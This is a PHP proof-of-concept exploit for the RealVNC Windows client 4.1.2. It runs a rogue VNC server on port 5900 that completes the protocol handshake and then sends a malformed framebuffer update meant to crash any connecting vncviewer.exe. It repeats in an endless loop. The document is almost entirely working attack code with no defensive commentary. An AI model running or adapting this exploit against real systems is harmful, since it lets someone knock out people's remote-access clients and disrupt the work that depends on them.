RealVNC Windows Client 4.1.2 Remote DOS Crash PoC

#!/usr/bin/php <?php # RealVNC Windows Client DoS # AppName: vncviewer.exe # AppVer: 4.1.2.0 # ModName: vncviewer.exe # ModVer: 4.1.2.0 # Offset: 000229e0 function vncear() { $port = "5900"; $ser = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); socket_set_option($ser,SOL_SOCKET,SO_REUSEADDR,1); socket_bind($ser,"0.0.0.0", $port); socket_listen($ser, 5); print "\n[+] listening on $port ...\n"; $crashvnc = socket_accept($ser); print "[+] client connected\n"; // ProtocolVersion socket_write($crashvnc, "RFB 003.008\n"); while($i=socket_read($crashvnc, 1024)) if(substr($i,0,6) == "RFB 00") break; print "\tprotocol has been negotiated\n"; // Security type none socket_write($crashvnc, "\x01\x01"); while($i=socket_read($crashvnc, 1024)) if(ord($i[0])==1)break; //$i=socket_read($crashvnc, 124); print "\tsecurity type accepted\n"; // SecurityResult ok socket_write($crashvnc, "\x00\x00\x00\x00"); while($i=socket_read($crashvnc, 1024)) if(ord($i[0])==0 || ord($i[0])==1)break; // socket_write($crashvnc, "\x04\x00". //frame buffer width "\x03\x00". //frame buffer height /* pixel format */ "\x20". //bits per pixel "\x18". //depth "\x00". // big endian flag "\x01". // true color flag "\x00\xFF". //red max "\x00\xFF". //green max "\x00\xFF". //blue max "\x10". //red shift "\x08". //green shift "\x00". //blue shift "\x00\x00\x00". //padding /* pixel format */ "\x00\x00\x00\x08". //name lenght "\x41\x4E\x59\x55\x4C\x49\x4E\x41" // name ANYULINA ); socket_write($crashvnc, "\x00\x00\x00\x03". //frame buffer update "\x00\x05\xFF\xFF\x00\x11\x00\x14\xFF\xFF\xFF\x11". "\x3F\x3F\x3F\x3F\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F". "\x3F\x00\x3F\x3F\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F". "\x3F\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F\x00\x3F". "\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F\x00\x3F\x3F\x3F\x3F". "\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F\x00\x00\x00\x3F\x3F\x3F\x3F\x3F". "\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F\x00\x3F\x3F\x00\x00\x00\x3F\x3F\x3F\x3F\x3F". "\x3F\x3F\x3F\x00\x3F\x3F\x00\x3F\x3F\x00\x3F\x3F\x00\x3F\x3F\x3F\x3F\x00\x00\x3F". "\x00\x3F\x3F\x00\x3F\x3F\x00\x3F\x3F". "\x00\x00\x00\x3F". "\x00\x3F\x3F\x00\x00\x3F\x3F". "\x00\x3F\x3F\x00\x3F\x3F\x00\x3F\x3F\x00\x00\x3F\x3F\x3F\x00\x3F". "\x3F\x3F\x3F\x3F\x3F\x3F\x3F". "\x00\x3F\x3F\x00\x3F\x00\x3F\x3F\x00". "\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F". "\x00\x3F\x3F\x00\x3F". "\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F\x00". "\x3F\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F". "\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F". "\x3F\x3F\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00". "\x3F\x3F\x3F\x3F\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00". "\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F". "\x00\x3F\x3F\x3F\x3F\x3F\x00\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F". "\x00\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F". "\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F\x06". "\x00\x00\x0F\x00\x00\x0F\x00\x00\x0F\x00\x00". "\x0F\x00\x00\x0F\xC0\x00\x0F\xF8\x00\x0F\xFC\x00\x6F\xFF\x00\xFF". "\xFF\x80\xFF\xFF\x80\x7F\xFF\x80\x3F\xFF\x80\x3F\xFF\x80\x3F\xFF". "\x80\x1F\xFF\x80\x0F\xFF\x00\x0F\xFF\x00\x07\xFE\x00\x03\xFE\x00". "\x00\x00\x00\x00\x04\x00\x03\x00\x00\x00\x00\x10\x00\x00\x94\xFA"); print "\tit should be dead already"; while(socket_read($crashvnc, 1024)) print "."; socket_close($crashvnc); socket_close($ser); } print "RealVNC Windows Client DoS (http://realvnc.com/)\n"; for (;;) vncear(); ?>